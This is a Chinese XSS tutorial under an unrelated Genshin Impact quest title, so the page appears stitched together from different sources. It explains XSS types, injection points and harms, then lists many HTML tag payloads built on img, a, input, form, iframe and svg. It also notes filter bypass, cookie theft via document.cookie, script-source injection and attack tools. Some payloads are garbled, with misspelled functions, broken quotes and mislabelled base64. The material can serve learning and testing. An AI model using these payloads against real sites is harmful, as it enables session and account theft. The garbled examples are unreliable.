《原神攻略》清理門戶世界任務怎麼做?清理門戶任務過關方法
一、漏洞介紹
xss:跨站指令碼攻擊(Cross Site Scripting)
攻擊者向web頁面中插入惡意js程式碼,當用戶瀏覽該頁時,觸發程式碼,從而達到惡意攻擊目的。
二、產生原因
未對使用者輸入進行過濾、轉義而直接輸出到頁面。導致使用者可以利用javascript、html等執行惡意程式碼。
三、產生條件
- 可能存在控制的輸入點
- 前端頁面未過濾js
四、漏洞危害
- 竊取管理員賬號或cookie,登入後臺。對資料庫進行非法的增刪改查等操作。
- 竊取使用者的個人資訊或登入賬號;登入賬號冒充使用者身份進行非法操作;對使用者賬號安全產生威脅。
- 網站掛馬。將惡意程式碼嵌入web應用中,待使用者瀏覽頁面時,將木馬植入使用者計算機。
- 傳送廣告或垃圾資訊,影響使用者使用體驗。
五、應用場景
- 資料互動的地方
get、post、cookies、headers
反饋與瀏覽
富文字編輯器
各類標籤插入和自定義
- 資料輸出的地方
使用者資料
關鍵詞、標籤、說明
檔案上傳
六、漏洞分類
1. 反射型
反射型XSS又稱非永續性XSS,這種攻擊往往具有一次性。
攻擊者通過電子郵件等方式將包含XSS程式碼的惡意連結傳送給目標使用者。當目標使用者訪問連結時,伺服器接收該目標使用者的請求並進行處理,然後伺服器帶有XSS程式碼的資料傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS漏洞。
2. DOM型
DOM型XSS全稱Document Object Model,使用DOM動態訪問更新文件的內容、結構及樣式。
使用者請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS程式碼。伺服器的響應不會以任何形式包含攻擊者的指令碼。當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞。
3. 儲存型
這種攻擊多見於論壇,部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼會在他們的瀏覽器中得到執行。
4. 區別
xss為什麼區分三種類型?
按照前端、後端、資料庫區分:
反射型:經過後端,不經過資料庫
儲存型:經過後端,經過資料庫
dom型:不經過後端,是基於文件物件模型的一種漏洞
七、漏洞利用
1. 標籤
img標籤
<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
a標籤
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input標籤
<input value="" onclick=alert('xss') type="text">
<input value="" onmouseover=prompt('xss')>
<input value=""><script>alert('xss')</script>
form標籤
<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp?onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
base64編碼
<form method=post action="data:text/html;base64,<script>alert('xss')">
<form method=post action="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
iframe標籤
<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
base64編碼
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
svg標籤
<svg onload=alert(1)>
2. 繞過
大小寫、雙寫、編碼等……
3. 獲取資訊
- document.cookie
需要有回顯輸出位,alert等
- <script src=//></script>
插入攻擊指令碼
4. 工具
- 線上平臺
ngxpt.co
- xsstrike
八、防禦與修復
對使用者輸入進行過濾和轉義。